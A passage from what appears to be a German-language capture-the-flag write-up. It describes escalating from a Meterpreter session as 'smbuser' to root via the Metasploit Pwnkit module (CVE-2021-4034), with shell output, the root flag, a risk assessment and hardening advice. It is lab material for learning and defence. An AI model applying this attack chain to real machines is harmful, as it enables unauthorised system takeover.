Analyse: Das Pwnkit-Exploit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als `smbuser`) gesetzt und ausgeführt. Es startet einen Listener auf Port 4545 für die neue Root-Sitzung.

Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).

Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).

Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung

meterpreter > shell
Process 2963 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1000(smbuser)
# cd ~
# ls
proof.txt
# cat proof.txt
Best of Luck
af52e0163b03cbf7c6dd146351594a43
                    

Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird eine Shell geöffnet. `id` bestätigt Root-Rechte. Im Root-Home-Verzeichnis wird `proof.txt` gefunden und gelesen.

Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `af52e0163b03cbf7c6dd146351594a43` wurde gefunden.

Empfehlung (Pentester): Suchen Sie die User-Flagge (falls noch nicht geschehen). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.

Risikobewertung:** Die Kombination aus einer Klartext-Passwort-Exposition in einer Webdatei (`readme.txt`), unsicheren FTP-Berechtigungen (Schreibzugriff im Home von `smbuser` via FTP-Login), die das Platzieren eines SSH-Schlüssels ermöglichten, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar und führte zur vollständigen Kompromittierung des Systems.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Entfernen Sie Passwörter aus Web-zugänglichen Dateien.
  • **Dringend:** Korrigieren Sie FTP-Berechtigungen (kein anonymer Schreibzugriff, sichere Home-Verzeichnis-Rechte).
  • **Dringend:** Patchen Sie Polkit (CVE-2021-4034).
  • Aktualisieren Sie alle Dienste (vsftpd, OpenSSH, Apache, Samba) und das Betriebssystem (CentOS 5 ist EOL!).
  • Verwenden Sie starke, einzigartige Passwörter und implementieren Sie Brute-Force-Schutz.
  • Deaktivieren Sie anonymen FTP-Zugang.
  • Konfigurieren Sie Samba sicher (Gastzugriff, Signing).
  • Überprüfen Sie SUID-Binaries und NFS-Konfigurationen.

Flags

cat /home/smbuser/user.txt ???
USER_FLAG_WERT (Nicht im Log gefunden)
cat /root/proof.txt
af52e0163b03cbf7c6dd146351594a43